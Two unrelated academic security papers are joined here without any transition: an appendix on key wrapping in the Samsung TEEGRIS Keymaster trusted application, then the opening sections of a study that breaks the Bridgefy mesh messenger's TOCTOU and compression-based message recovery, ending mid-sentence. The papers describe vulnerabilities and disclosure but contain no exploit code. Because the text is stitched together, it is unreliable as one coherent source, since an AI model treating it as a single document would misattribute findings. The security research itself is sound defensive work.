1. Validates the parameter types for the input and output
buffers and makes sure that the memory references that
are sent from the Normal World belong to the REE.

2. Parses the input buffer as an ASN.1 structure indata
and validates it.

3. Calls the appropriate command handler based on
indata->cmd.

4. Fills the output buffer with ASN.1 structure outdata.

There are more than 21 command handlers in the Keymas-
ter TA, including the following, that implement the similarly
named API calls as in Section 3.2:

• swd_generate_key
• swd_import_key
• swd_import_wrapped_key
• swd_get_key_characteristics
• swd_export_key
• swd_attest_key
• swd_begin/swd_update/swd_finish

Blob-creating commands accept key parameters that are
delivered in the indata structure. The parameters control how
the key is generated and are also placed inside the blob. They
are subsequently used during the cryptographic operations
that take the blob as input. Key parameters include:

• Cipher information including:

– Algorithm (RSA/EC/AES/DES/HMAC)
– Key size (e.g., 768/1024/2048/3072/4096 for RSA

or 128/192/256 for AES)
– Mode of operation (e.g., ECB/CBC/CTR/GCM)
– Padding (e.g., none/RSA-OAEP/RSA-PSS)
– Digest (e.g., none/md5/sha1/sha256)

• The parameters can also include optional access control
restrictions on the created blob, including:

– Purpose (e.g., limit to encryption/signing only, or
only encryption and decryption).

– Maximum number of uses per boot / minimum
seconds between operations / expiration date.

– Require authentication (e.g., by password or bio-
metric prompt) or confirmation by the user.

The main focus of our research is how key blobs are de-
crypted/encrypted. The blob structure is as follows: The
key material is serialized into an ASN.1 structure called
km_key_blob that contains a version number, key mate-
rial and key parameters. The ASN.1 structure is then en-
crypted using AES-256-GCM with an Hardware Derived Key-
encryption-key (HDK). This encryption is called “wrapping”
and is the topic of much of our work. The “wrapped” key
blob is serialized again into another ASN.1 structure called
km_ekey_blob that contains information that is required for
decryption, such as the IV and AAD that was used to encrypt.
Fig. 8 shows the process of key wrapping/unwrapping in the
Keymaster TA which we describe in this section.

To ensure that key blobs are hardware-protected, the device
uses the following keys:

• Root Encryption Key (REK): a 256-bit AES key that is
available only in secure hardware and is device-unique.

• Hardware Derived Key (HDK): a 256-bit AES key that
is derived from the REK per blob encryption using the
Key Derivation Function (KDF) which we discussed in
Section 3.4.
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Figure 8: Key wrapping in Keymaster TA in TEEGRIS 2

At a high level, the AES operation uses the following fields:

• The IV, that is either generated or is located in
the parameters that are required for decryption
(KM_TAG_EKEY_BLOB_IV)

• The AAD that is computed in swd_get_aad
• The data to encrypt/decrypt
• The authentication tag for decryption

(KM_TAG_EKEY_BLOB_AUTH_TAG)
• A salt value that is computed in swd_get_salt and is

used by KDF to derive the HDK from the REK.

The salt value is computed in the swd_get_salt function
as the SHA256 digest of a concatenation of values based on
the encryption version ekey_blob->enc_ver. We refer to
values of enc_ver symbolically as either “v15”, “v20-s9” or
“v20-s10” based on the constant strings that are used by the
KDF and the device model we observed them on (technically
enc_ver is a byte value).

The decryption/encryption of ASN.1-serialized key
material occurs in the tz_unwrap/tz_wrap functions (resp.),
which call TEES_WrappedWithREK/TEES_DeriveKeyKDF
from libteesl.so, which in turn does a ioctl to the crypto
driver (dev://crypto). See Appendix C for details on how
TEEGRIS uses the hardware crypto engine to compute the
KDF with REK and AES-GCM operations.

C KDF and Key Wrapping in TEEGRIS

Figure 8 illustrates the two flows that use the salt, IV, AAD,
and authentication tag to perform the cryptographic wrap-
ping/unwrapping in TEEGRIS. If the length of the ASN.1-
serialized key is at most 4096 bytes, the Keymaster TA calls

the TEES_WrappedWithREK library function to derive the
HDK from the salt and then perform AES-GCM in the crypto
engine. Conversely, if the length is greater than 4096 bytes,
the Keymaster TA uses the TEES_DeriveKeyKDF library func-
tion to derive the HDK by calling the crypto driver, and then
uses a software implementation of AES-GCM-256 (using
the SCrypto library [56] that is based on BoringSSL [26]) to
perform the encryption.

In order to understand how the key blobs are encrypted,
we reversed engineered TEEGRIS, found the dev://crypto
driver and analysed its ioctl method. We focus on two
specific ioctl commands: CRYPT_FUNC_WRAPPED_WITH_REK
(that encrypts or decrypts key blobs) and CRYPT_FUNC_KDF
(that derives a HDK from the REK), that are called from
TEES_WrappedWithREK/TEES_DeriveKeyKDF in the Key-
master TA (resp.).
CRYPT_FUNC_WRAPPED_WITH_REK checks that the calling

task in TEEGRIS is the Keymaster TA by comparing the
current UID to the UID of the Keymaster (10 bytes of null,
then “KEYMST”) and rejects any other task. It then copies the
struct that the Keymaster TA sent to DMA memory, edits the
salt by appending the Keymaster TA’s own UID (16 bytes) and
executes an SMC instruction (passing the physical address of
the memory where the struct resides as the third argument). If
the SMC returns 0, the modified struct is copied back to the
Keymaster TA.
CRYPT_FUNC_KDF also calls the same SMC function but

with a different arguments (0 as the first argument instead
of 1). It computes the SHA-256 digest of the KDF key, the
task UID and group and the salt, then passes the address of
the struct that contains both the hash and the HDK (with its
length). The SMC fills the bytes of the HDK.
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Abstract
Bridgefy is a messaging application that uses Bluetooth-based
mesh networking. Its developers and others have advertised
it for use in areas witnessing large-scale protests involving
confrontations between protesters and state agents. In August
2020, a security analysis reported severe vulnerabilities that
invalidated Bridgefy’s claims of confidentiality, authentica-
tion, and resilience. In response, the developers adopted the
Signal protocol and then continued to advertise their applica-
tion as being suitable for use by higher-risk users.

In this work, we analyse the security of the revised Bridgefy
messenger and SDK and invalidate its security claims. One
attack (targeting the messenger) enables an adversary to com-
promise the confidentiality of private messages by exploiting a
time-of-check to time-of-use (TOCTOU) issue, side-stepping
Signal’s guarantees. The other attack (targeting the SDK)
allows an adversary to recover broadcast messages without
knowing the network-wide shared encryption key.

We also found that the changes deployed in response to the
August 2020 analysis failed to remedy the previously reported
vulnerabilities. In particular, we show that (i) the protocol
persisted to be susceptible to an active attacker-in-the-middle,
(ii) an adversary continued to be able to impersonate other
users in the broadcast channel of the Bridgefy messenger,
(iii) the DoS attack using a decompression bomb was still
applicable, albeit in a limited form, and that (iv) the privacy
issues of Bridgefy remained largely unresolved.

1 Introduction

The messaging space has witnessed a rapid transformation
since the Snowden revelations in 2013. Since then, almost
all major messaging services enabled at least some form of
(optional) end-to-end encryption. In particular, many such
offerings, e.g. the Signal app itself, WhatsApp, Google’s Allo,
Skype – adopted the Signal protocol [18]. This move, to
strengthen privacy in light of reports of state surveillance,
expresses a general ethos in the messaging app community to

provide tools that can be relied upon and enable higher-risk
users, such as human rights activists [23]. However, the same
work [23] and follow up works [2, 37] also indicate a discon-
nect between what messaging app designers design for and
the needs of higher-risk users.

A visible expression of this disconnect is Bridgefy, a mobile
application and software development kit (SDK) that provides
communication capabilities over Bluetooth. It allows users to
form a mesh network to exchange messages without requiring
a connection to the Internet. Its primary target applications
are large events such as sports events where existing Internet
infrastructure may not be able to cope with demand. Yet, its
developers and others both report on the uptake of the ap-
plication and also actively promote the application for use
in protests and other situations of social unrest, where mo-
bile telecommunications and Internet connections may be
unreliable: during the 2019 Hong Kong protests [41, 57],
during protests in Iran, Lebanon and Zimbabwe [32, 59], for
Black Lives Matter protests in the US [58], after the military
coup in Myanmar [13, 63, 64], during farmers’ protests in
India [62], for anti-lockdown protests in the US [60], after
the Taliban retook Afghanistan [67]. According to the de-
velopers, the mobile application has been downloaded more
than 6.5 million times [61], often from areas witnessing con-
frontations between protesters and agents of the state.

While the actual adoption of Bridgefy by protesters and
activists seems to be somewhat limited [2], the spikes in down-
loads from areas witnessing conflicts suggest a need or desire
for robust peer-to-peer offline communication; a need not
catered to by more mainstream messaging platforms.1

On the other hand, the security track record of the Bridgefy
app – so heavily advertised to higher-risk users – is less than
stellar. In particular, in August 2020, a security analysis [1]
demonstrated: (i) An adversary could track Bridgefy users,
and produce a social graph of the mesh network, (ii) mes-
sages of users could be spoofed due to the lack of authentica-
tion mechanisms, (iii) an active attacker in the middle could

1Bridgefy is the market leader in the space of end-user mesh mes-
saging [1].
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impersonate two users to each other and eavesdrop on the
communication, (iv) private messages were susceptible to a
padding oracle attack, and (v) a carefully crafted message
could either take down the entire network or prevent two par-
ticular users from communicating. In response, in October
2020, Bridgefy announced an overhaul of their security archi-
tecture [10] to address all these findings. The key technical
change implemented by Bridgefy was the adoption of the Sig-
nal protocol [27]. In addition, all traffic – including metadata
– is now also encrypted with a network-wide symmetric key
using AES in ECB mode. Since then, no public independ-
ent security assessment of the Bridgefy application has been
conducted, but Bridgefy started advertising their application
again for higher-risk scenarios [11].

It is thus a natural and pressing question to ask whether
these upgrades – adopting the Signal protocol and adding a
layer of deterministic encryption – succeed in establishing
a secure communication system. Indeed, we may ask more
generally if ‘we use Signal’ is a sufficient, well, signal to
indicate the security of applications produced by development
teams inexperienced in defensive coding.

Contributions. In this work, we report severe, practically ex-
ploitable vulnerabilities in the Bridgefy messenger in version
3.1.3 and the SDK in version 2.0.2, i.e. versions featuring the
above mentioned security enhancements.

In Section 3, we give an overview of the inner workings
of Bridgefy in version 3.1.3. We provide an outline of the
application architecture and the Bridgefy protocol.

For completeness, in Section 4 we first re-evaluate the vul-
nerabilities previously reported in [1] and find that they re-
main mostly entirely or insufficiently fixed. Specifically, for
Bridgefy 3.1.3 we show: (1) The protocol persisted to be
susceptible to an attacker in the middle. While the attack is
now limited to the first exchange between a pair of users –
it abuses the ‘trust on first use’ (TOFU) assumption – we
note that Bridgefy offers users no option to verify the public
keys of their contacts. (2) Broadcast messages continued to
be unauthenticated; an adversary can exploit this to mount
impersonation attacks. (3) The Denial of Service (DoS) attack
remained applicable, albeit in a limited form. (4) Bridgefy
users could still be tracked.

We then present two new attacks on Bridgefy. Our attack
in Section 5 breaks the confidentiality of Bridgefy’s Signal-
secured private chats by associating an attacker’s public key
with the session between two targets. It exploits a difference
in time that arises between queuing a message and fetching
the encryption key and, as such, is a time-of-check to time-
of-use (TOCTOU) vulnerability. We stress that our attack
does not threaten the security of the Signal protocol itself but
exclusively the way that libsignal is integrated into Bridgefy.

Our attack in Section 6 gives an adversary the ability to
recover broadcast messages from a small set of possible plain-
texts in the setting where the network-wide shared key is
unknown to the adversary. While in case of the Bridgefy ap-

plication itself we may assume the attacker knows this key,
this assumption would not hold for a third party application
utilising the Bridgefy SDK. It works because compression pre-
cedes encryption of packets. While it is well-known that this
choice can leak some information about plaintexts [40, 47], it
is non-trivial to exploit the leakage in the context of Bridgefy
and to perform plaintext recovery.

In Section 7, we discuss our results. In particular, we dis-
cuss how our work highlights that secure offline messaging is
still unsolved in practice.

Disclosure. We notified the Bridgefy developers about our
findings from Section 4 and the attack from Section 5 on
2021-05-21. The developers confirmed receipt some days
later and described their plans to remediate the vulnerabilities.
On 2021-07-21, the developers informed us they would not
publicly disclose the problems we reported, explaining they
feared putting their users’ safety at risk if they did. However,
they promised to remove the term ‘end-to-end’ from all of
their social media and blog posts.

In version 3.1.7 of the Bridgefy messenger, released on
2021-08-14, our exploit for the TOCTOU attack stopped work-
ing. Up until this point in time, the attack still worked as de-
scribed here. We found that Bridgefy also deployed changes
regarding the DoS attack from Section 4.3. The Bridgefy
SDK was not updated at all throughout the course of our re-
search, and continues to be vulnerable to the attacks described
herein. However, a note was added to its website some time
in 2021 indicating that the SDK was deprecated, contained
‘notable security vulnerabilities’ and was due to be replaced
by December 2021 [12].

We disclosed the attacks on Bridgefy’s broadcast encryp-
tion mechanism on 2021-09-07. On 2021-09-09, the de-
velopers informed us that they were aware of the vulnerability
and were actively working on fixing it. They did not inform
us of how they planned to do so.

We asked the developers to comment on the remediation
progress on 2022-02-04. At the time of finalising this paper,
two weeks later, the state of the remediation remained unclear.

2 Preliminaries

In this section, we introduce the concepts and technologies
that the following sections build on. We also give an overview
of related work in the broader context.

Terminology. We first briefly introduce non-standard terms
we use consistently in this paper.

• Messages and packets. When a user types a string s and
sends it to another user over the mesh network, the string
passes by multiple nodes, i.e. it is transmitted over multiple
hops. Obviously, s does not change over these hops but the
bytes transmitted between the nodes on the way change be-
cause the metadata of the packets differ. In other words, the
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user triggers a single message, which propagates in the net-
work with the help of multiple packets.

• Payload content. When a user types a string s and sends it
to another user, we call s the payload content of the message
(and of the packets). This is to avoid confusion with the ter-
minology used by Bridgefy: a payload in Bridgefy is a map of
key-value pairs within a packet. The details of packet layouts
are discussed in Section 3.5.

• Simulation and attack samples. In the broadcast message
recovery attack, we have a simulation phase and an attack
phase. Both require us to gather packet lengths to form a
sample. The respective outputs will be a simulation sample
and an attack sample.

Bluetooth Low Energy (BLE). Bluetooth Low Energy is a
widely adopted wireless technology used in mobile and In-
ternet of Things (IoT) devices. Ryan [48] conducted an early
analysis of BLE security, demonstrating packet injection and
breaking the key exchange as part of the encryption. Sivak-
umaran and Blasco [53] showed that pairing protected BLE
data needs to be secured on the application layer in Android to
prevent co-located applications on the device from accessing
it. Wu, Nan, Kumar, Tian, Bianchi, Payer, and Xu [68] found
a weakness in the BLE specification that enabled an attacker
to impersonate a device to another. Zhang, Weng, Dey, Jin,
Lin, and Fu [69] reported practically exploitable downgrade
attacks on BLE.

Mesh Networks. A mesh network is based on a network topo-
logy where devices connect without following a hierarchical
structure [17]: ‘In mesh topologies, network nodes are dir-
ectly and dynamically connected in a non-hierarchical way
[. . . ]. Moreover, mesh networks do not require an infrastruc-
ture, since they dynamically self-organise and configure them-
selves.’ A mesh topology is especially useful when the goal
is to build a decentralised network: devices route incoming
traffic to their neighbours, such that each packet eventually
reaches its destination. Popular protocols that use a mesh to-
pology are Bluetooth Mesh [50], Zigbee [3], and Thread [36].
Note that Bluetooth Mesh is a dedicated technology that is
not to be confused with mesh networks where the links are
normal Bluetooth LE connections.

Signal and libsignal. Signal [52] is a messaging applica-
tion that enables end-to-end encrypted communication. Its
security guarantees stem from the Signal cryptographic pro-
tocol, which was developed progressively as part of the Signal
application. The protocol was subject to an extensive study
by Cohn-Gordon, Cremers, Dowling, Garratt, and Stebila [18],
who analysed the key agreement and the ratcheting mechan-
ism of Signal. Their analysis revealed no significant flaws in
its design.

The Signal protocol is available as an official implement-
ation in Java called libsignal-protocol-java [51] under
the GNU General Public License v3.0. The library can be
used to provide end-to-end encrypted communication for ap-
plications other than Signal.

In the interface of the library, endpoints are identified by
a SignalProtocolAddress. This type is a combination of a
name that identifies the user and a deviceId that is unique
for each device a user owns. Before two endpoints can com-
municate, one party needs to retrieve a ‘prekey bundle’ (PKB)
of the other and use it to send an initial message. Here we
may assume that the PKB acts like a public key: it contains
all information to establish a secure session between the two
parties, but it needs to be authentic. If an adversary was able to
change the PKB for their own, the session would not be secure.
In the Signal messenger, the server is hence trusted until the
two communicating parties manually verify the authenticity
of their session.

Time-of-Check to Time-of-Use (TOCTOU). Time-of-Check
to Time-of-Use vulnerabilities [65, pg. 157] exploit a change
in state between when a certain property is checked and
used [56]. Bishop and Dilger [6] were among the first to
describe this class of vulnerabilities and studied them in the
context of file systems.

MessagePack. MessagePack [24] is a data format for object
serialisation, similar to JSON, YAML, and TOML [8, 22, 44].
It supports various primitive types like integers, booleans,
floats, strings, arrays, and maps. A key difference between
MessagePack and its counterparts is that the format is binary,
allowing for more compactness.

The specification of MessagePack is available on Git-
Hub [30]. In general, an object is converted by sequentially
lining up the respective formats for all values of an object.
For example, given an object made of two boolean values, the
serialised form is a concatenation of the formats for these two
boolean values.

The format of a value is defined in the specification. For
instance, the boolean values false and true convert to the
fixed bytes 0xc2 and 0xc3 respectively. Values with variable
length convert into formats that contain not just the value
but also their size. A string with a length of up to 31 bytes
converts into a leading byte b, followed by the ASCII en-
coding of the string. b is a composition of form 101XXXXX,
where the placeholder XXXXX refers to the size of the string.
For example, the string ‘id’ converts to the bytes 0xa2 0x69
0x64. Here b = a216 = 101000102, followed by the ASCII
representations of ‘i’ and ‘d’.

Maps – which map from keys to values – work similar to
strings. They also start with a byte b, for maps with up to 15
elements of form 1000XXXX, where XXXX now refers to the
number n of key-value pairs. b is followed by 2n formats: odd
elements are keys, and even elements are the value for the
preceding key.
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Magic Bytes
(2B)

Flags
(1B) Modification Time (4B)

Extra
Flags
(1B)

OS
(1B)

CRC-32 (4B) Uncompressed Size (4B)

DEFLATE data (variable size)

Compression
Method (1B)

Figure 1: The file format of gzip. The ‘Flags’ field has influ-
ence over the structure of the file format after the ‘Operating
System’ field. Here we assume that no flags are set.

Compression in Cryptography. The use of compression in
combination with an encryption scheme was shown to be able
to affect the security of that system through a side-channel
in Kelsey [40]. Later Rizzo and Duong [47] showed with
the CRIME attack that an attacker could recover secret web
cookies based on a chosen-plaintext attack together with in-
formation leakage caused by compression in SPDY and TLS.
Similarly, the BREACH attack, reported by Prado, Harris, and
Gluck [43], demonstrated that the idea of CRIME was also
applicable to compression in HTTP, which was not considered
in the efforts to mitigate CRIME. Vanhoef and Van Goethem
[66] showed with the HEIST attack that despite all efforts
to mitigate CRIME and BREACH, an attacker-in-the-middle
could still derive the length of the plaintext of a response and
use the leakage of the compression to mount a plaintext recov-
ery attack. Around the same time, Garman, Green, Kaptchuk,
Miers, and Rushanan [26] reported an attack against Apple
iMessage that exploits certain properties of DEFLATE com-
pressed data.

Gzip [20] is a file format for lossless compressed data. In es-
sence, it wraps DEFLATE [19] compressed data and attaches
metadata fields around it. Figure 1 illustrates the high-level
file format of gzip. The first two bytes are of the fixed values
0x1f and 0x8b. Then follows a field to indicate the algorithm
used for compression: since only DEFLATE is defined in
gzip, this is always a byte of value 0x08. The other values of
the header are commonly set to zero. The trailer consists of a
CRC-32 value computed over the uncompressed data and the
length of that data.

DEFLATE is based on LZ77 [70] and Huffman coding [38].
Overall, the algorithm replaces any repeating block of data
with a reference to a previous occurrence. At the same time,
it ranks bytes and references by occurrence and assigns them
a code word accordingly. The compression effect, therefore,
comes down to data deduplication at both byte and bit level.

The DEFLATE-compressed data can consist of several
blocks. Each block starts with a header: the first three bits
determine the type of the block and indicate if the block is
the final block of the compressed data. Depending on the
type, blocks can either be uncompressed or use fixed or dy-
namic Huffman codes. In this work, we focus on blocks with
dynamic Huffman codes, for which the block then contains
information about the Huffman table used for compression.
The rest of the data in the block is the actual compressed data
in the form of Huffman code words.

How this data is encoded is well-described in RFC
1951 [19]: ‘[. . . ] encoded data blocks in the “deflate” format
consist of sequences of symbols drawn from three conceptu-
ally distinct alphabets: either literal bytes, from the alphabet
of byte values (0..255), or <length, backward distance> pairs,
where the length is drawn from (3..258) and the distance is
drawn from (1..32,768). In fact, the literal and length alpha-
bets are merged into a single alphabet (0..285), where values
0..255 represent literal bytes, the value 256 indicates end-of-
block, and values 257..285 represent length codes (possibly in
conjunction with extra bits following the symbol code) [. . . ]’

As described above, a block always ends with the code
word that represents the value 256. Since code words are
bits of variable length, a block is not necessarily byte-aligned.
Still, the gzip trailer must be byte-aligned, which is why the
block is padded to the next full byte.

Maximum Likelihood Estimation (MLE). Maximum Likeli-
hood Estimation is a method to derive the parameter that is
most likely to underlie the probability distribution of observed
data. MLE has been used, e.g. by Bricout, Murphy, Paterson,
and van der Merwe [9] and Garman, Paterson, and van der
Merwe [25].

We give a brief introduction to MLE. We are given a ran-
dom sample x = (x1,x2, . . . ,xn) where xi ∼ Xi for some ran-
dom variable Xi. We assume that the joint probability distribu-
tion of x depends on the unknown parameter θ ∈Θ. We can
make a ‘best guess’ θ̂ for θ based on the observation x:

θ̂ = argmax
θ∈Θ

L(θ|x)

where the likelihood L(θ|x) is defined as

L(θ|x) := Pr(x|θ) = Pr(x1 x2 . . .xn|θ).

Assuming that Xi,X j with 1≤ i, j≤ n and i 6= j are pairwise
independent, we can simplify this expression to

L(θ|x) = Pr(x|θ) =
n

∏
i=1

Pr(xi|θ).

Equivalently, we write:

θ̂ = argmax
θ∈Θ

logL(θ|x) = argmax
θ∈Θ

n

∑
i=1

logPr(xi|θ).
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Instead of determining only one best guess, we can create
a sequence Θ̂ =

(
θ̂1, θ̂2, . . . , θ̂n

)
of candidates, ordered by

decreasing (log) likelihood.

2.1 Methodology
We analysed the Android application in version 3.1.3 and
the SDK in version 2.0.2, dated 2021-04-27 and 2021-02-09.
Since both the messaging application and the SDK are closed-
source software, it was necessary to reverse engineer them.
We retrieved the APK by installing the Bridgefy messenger
from Google Play [33] on our Android phone and fetching
the file via adb [45]. While the SDK is compiled into the mes-
saging application, it is also available separately in a public
Maven repository [15] as an AAR file.

Static Analysis. We decompiled Bridgefy to reconstruct Java
source code for better readability. The APK file was directly
decompiled using Jadx [54], but also converted into a JAR
file using enjarify [34] for further processing. The AAR file
was extracted to retrieve a JAR file. Both JAR files were
then decompiled to Java source, leveraging multiple Java
decompilers: CFR [5], Fernflower [39], Krakatau [35], and
Procyon [55]. While the output was obfuscated, Bridgefy’s
code sometimes references class and method names in debug
messages.

Dynamic Analysis. After manually inspecting the Java code,
we instrumented the Bridgefy messenger with Frida [46] and
objection [49]. This allowed us to hook into existing functions
of the app, and thereby monitor method calls and change
method behaviour. In particular, we could observe packets
as they were being encrypted and decrypted. As part of this
work, we produced several Frida scripts to extract information
and modify the behaviour of Bridgefy. The source code of
these scripts will be published in our public repository.2

Simulation. Our simulations in Section 6 were performed
on several machines. In total, these were equipped with four
Intel(R) Xeon(R) Gold 6252 CPUs, two Intel(R) Xeon(R)
Gold 6138 CPUs, two Intel(R) Xeon(R) E5-2690 v4 CPUs,
and two Intel(R) Xeon(R) E5-2667 v2 CPUs.

3 Bridgefy Architecture

In this section, we explain how the protocol underlying the
Bridgefy application and SDK works, with a focus on its
confidentiality and authenticity mechanisms.

3.1 Overview
Users that run an application using the Bridgefy SDK (such
as the Bridgefy application itself) become part of a Bluetooth
network that relays messages, i.e. they become a peer of the
mesh network.

2https://github.com/eikendev/breaking-bridgefy-again

Bridgefy supports Bluetooth Low Energy (BLE) and Clas-
sic Bluetooth, with BLE being the default mode of operation.
Under certain conditions, messages can also be transmitted
over the Internet, however, if a device is offline, it will natur-
ally only communicate over Bluetooth. In this work, we focus
exclusively on BLE-based communication.

Messages can either be sent publicly to everyone nearby or
to a specific user. Public messages are sent in the broadcast
room, while private messages are sent in a private chat. A
private chat can only be instantiated with users whose device
has previously been within Bluetooth reach. This is done by
clicking on the name of another user in the broadcast room.

For private chats, the application will indicate visually
when the other user is within Bluetooth reach. If this is the
case, then the messages to that user will not be relayed over
the mesh network, but sent directly to that user.

Users are identified by a universally unique identifier
(UUID) of 128 bit called userId. This UUID is randomly
generated on each device when the application is launched
for the first time. Users must also pick a display name when
they install the app, however, it is not unique and can be ar-
bitrarily chosen. When a new broadcast message is received,
the display name of the sender is displayed along with the
message.

3.2 Software Components
As mentioned above, the Bridgefy application makes use of
Bridgefy’s SDK. While the application is responsible for the
user interface and chat management, the SDK provides the
necessary mechanics to (i) establish trust between devices,
(ii) encrypt and decrypt packets, and to (iii) transmit pack-
ets via the Bluetooth functionality offered by the underlying
operating system.

For the SDK to work, it needs to be initialised, which hap-
pens when the application starts. This process and the general
use of the SDK is documented in a GitHub repository together
with official sample applications [16]. Additionally, a descrip-
tion of all exposed functionality is available in the official
SDK documentation [14].

To summarise, the application calls
Bridgefy.initialize() of the SDK with a registra-
tion callback and an API key. The SDK will then validate
the API key and notify the application of the result
via the callback. On success, the application next calls
Bridgefy.start() with two different callbacks:

• a message listener that is called when a new message is
received, and

• a state listener that is called when a connection with a
nearby peer is established or closed.

Finally, if the application wants to send a mes-
sage, it calls Bridgefy.sendMessage() or
Bridgefy.sendBroadcastMessage(). Depending on
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its use case, the application can set a profile for the SDK to
control the lifetime of messages in the network.

The SDK outsources some cryptography-related operations
to libsignal. When instantiating a SignalProtocolAddress,
Bridgefy sets the deviceId to 0 while using a peer’s userId
in the addresses name field. libsignal maintains state for all
established sessions in a SignalProtocolStore. When a
new PKB is received from a peer, Bridgefy instantiates a
SessionBuilder which is supplied with the protocol store
and the peer’s protocol address. A new session is then created
by passing the PKB to SessionBuilder.process(). When
the SDK needs to encrypt data using Signal for a particular
peer, it instantiates a SessionCipher and supplies it with the
protocol store and the peer’s protocol address. The data is
then passed to SessionCipher.encrypt().

3.3 Packet Types
Users can decide between sending broadcast messages and
private messages. However, since private messages can either
be sent directly to the other peer or over the mesh network,
there are three different settings to consider:

• A broadcast packet propagates a broadcast message from
one peer to multiple other peers over the mesh network.

• A multi-hop packet transmits a private message from one
peer to another over the mesh network.

• A one-to-one packet transmits a private message from
one peer to another directly. Note that this setting is only
applicable when the two peers are within Bluetooth reach.

On the network layer, Bridgefy associates only two dif-
ferent packet types with these settings: those that are routed
through the mesh network, and those that are sent directly.
The former packets are referenced as type ForwardMessage,
while the latter are of type BleEntityContent.

3.4 Handshake
When two devices get physically close enough to establish a
Bluetooth connection, they perform a handshake (assuming
that they have not performed a handshake previously). This
process is handled by the SDK, meaning it is not visible to
the application.

In the handshake, each party generates a PKB and sends
it to the other party. Based on the exchanged PKBs, a Signal
session is established, enabling the parties to encrypt and
authenticate packets.

Assuming Alice A and Bob B come within range of one
another for the first time, the handshake proceeds as follows:

A→ B : ResponseTypeGeneral(userIdA) (1)
B→ A : ResponseTypeGeneral(userIdB) (2)
A→ B : ResponseTypeKey(PKBA) (3)
B→ A : ResponseTypeKey(PKBB) (4)

Here, userIdA denotes the userId of peer A and PKBA de-
notes the PKB generated by A. After (1), B checks if any
Signal session has already been established for userIdA, and
aborts the handshake if this is the case. Peer A may also abort
the handshake after (2).

Note that we have made some simplifications here that are
not relevant to our analysis. For example, the packets also con-
tain CRC checksums and version information. Further, all four
packets of the handshake are wrapped in a BleHandshake
packet, which itself is wrapped in a BleEntity packet.

The handshake is not performed over the mesh network,
but only over a direct Bluetooth connection. As a result, only
peers that have previously met can later exchange messages
privately over the mesh network.

Because no further authentication is involved, the hand-
shake follows the trust on first use (TOFU) principle: in (3)
and (4), the parties implicitly trust the PKB they receive. In
contrast to messengers like Signal, users cannot verify the
keys of peers manually, as Bridgefy’s user interface offers no
way to do so.

3.5 Packet Encoding
On the lowest layer, Bridgefy encapsulates all packets into the
type BleEntity. Its et field (presumably for ‘entity type’)
indicates the type of packet it contains.

The type ForwardPacket represents multi-hop pack-
ets and broadcast packets. For efficiency, multiple ob-
jects of type ForwardPacket are bundled into a packet
of type ForwardTransaction on the network layer.
Going forward and for ease of exposure, we will as-
sume that a ForwardTransaction contains only a single
ForwardPacket, as would be the case in a low-traffic mesh
network.

The type ForwardPacket features fields necessary to route
the packet through the mesh network. Among other things,
it contains a time to live (TTL) field named hops. This field
is a single byte value that decrements whenever the packet is
forwarded by a node. The purpose of the field is to prevent
packets from circulating in the mesh network indefinitely:
once the value reaches 0, the packet is discarded.

The track field is a list that contains the CRC-32 sums of
userIds that have been involved in the delivery of a packet.
More precisely, its length is limited to the last n nodes, where
n varies depending on the profile of the connection.The field
appears unused otherwise.

Both the ForwardPacket and the ForwardTransaction
have their own sender field. The former holds the userId
of the message sender, while the latter holds the userId of
the packet sender. The message sender originally typed the
message into the chat window, whereas the packet sender was
the most recent peer to relay the message. The two fields are
equal exactly at the very first hop of the message.

While the overall structure of broadcast and multi-hop pack-
ets is similar, there are important differences:
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1

1..*

ForwardPacket

+ id: UUID
+ payload: Map<String, Object>
+ sender: UUID
+ receiver: UUID
+ creation: long
+ expiration: long
+ receiver_type: int
+ hops: int
+ profile: int
+ track: List<long>

BleEntity<T>

+ id: UUID
+ et: int
+ ct: T

«bind»

ForwardTransaction

+ dump: bool
+ sender: UUID

BleEntityContent

+ id: UUID
+ payload: Map<String, Object>

«bind»

Figure 2: A ForwardPacket is always encapsulated in
a ForwardTransaction, which itself is encapsulated in a
BleEntity. A BleEntityContent is also encapsulated in a
BleEntity.

• The receiver_type field is used to differentiate broadcast
packets from multi-hop packets: the value 1 indicates a
broadcast packet, and the value 0 a multi-hop packet.

• Since broadcast packets do not have a designated receiver,
they do not contain a populated receiver field.

• In multi-hop packets, the payload entry nm (presumably
for ‘name’) refers to the name of the receiver, whereas in
broadcast packets, it refers to that of the sender.

• While a ForwardPacket containing a broadcast packet is
serialised and encrypted as a whole, it is handled differently
for multi-hop packets: the payload field is removed from
the BleEntity and processed separately. The remaining
data in the BleEntity is considered metadata and encryp-
ted in another way than the payload.

Because one-to-one packets are not carried over the
mesh network, they do not carry routing information. For
this reason, they are encoded in the more concise packet
type BleEntityContent. Figure 2 illustrates the relations
between all discussed types in a UML diagram.

The message typed by a user is referred to as ‘payload
content’. In a ForwardPacket, the payload content is stored
as a string under the key ct in the payload. For one-
to-one packets, it is encoded in the payload map of the
BleEntityContent respectively.

3.6 Packet Encryption
Before a BleEntity is sent to another peer, it is (i) serial-
ised using MessagePack, (ii) compressed using gzip, and then

Data Category Metadata Payload

BleHandshake AES-ECB AES-ECB
BleEntityContent AES-ECB libsignal
ForwardTransaction AES-ECB libsignal

Table 1: Encryption of packets in Bridgefy by data category
and packet type.

(iii) encrypted. The encryption step can involve Signal encryp-
tion in combination with AES in ECB mode with PKCS#7
padding, or AES-ECB with PKCS#7 padding only. Table 1
summarises which encryption method is used for the different
packet types.

For AES-ECB, a symmetric key is shared between all peers
in the network. In the case of the Bridgefy messenger, an
adversary can easily obtain this symmetric key because the
application is public. More generally, depending on the nature
of the threats considered – inside and outside – the shared
symmetric key may be considered known or unknown to the
adversary.

Signal encryption is only used for the payload field of
multi-hop and one-to-one packets. Broadcast packets and the
metadata of any other packets are encrypted with AES-ECB.
In Section 5 we will ignore this layer of encryption as the
shared key of the Bridgefy messenger must be assumed as
known to the adversary: it can be recovered using dynamic
instrumentation. We then treat it in Section 6 and Appendix A.

Remark 1 Previous versions of Bridgefy implemented a cus-
tom scheme based on RSA in place of the Signal protocol.
With Bridgefy’s adoption of the Signal protocol in place of
RSA, the padding oracle attack reported in [1] is no longer
applicable.

3.7 Devices and Sessions
In the Bridgefy SDK, the DeviceManager is responsible for
maintaining a list of nearby Bluetooth devices. Each device
is associated with a session, which itself is managed by a
SessionManager. Since the co-existence of devices and ses-
sions appears arbitrary, we will in the following refer to ses-
sions only.

During the handshake, a userId is received from the other
peer and saved in the corresponding session. When the SDK is
instructed to send a message to a userId, it looks for a session
associated with that userId. The message is then queued in
the TransactionManager together with the session. Once
Android requests more Bluetooth data to send, the SDK pops
the queued message, encrypts it for the userId saved in the
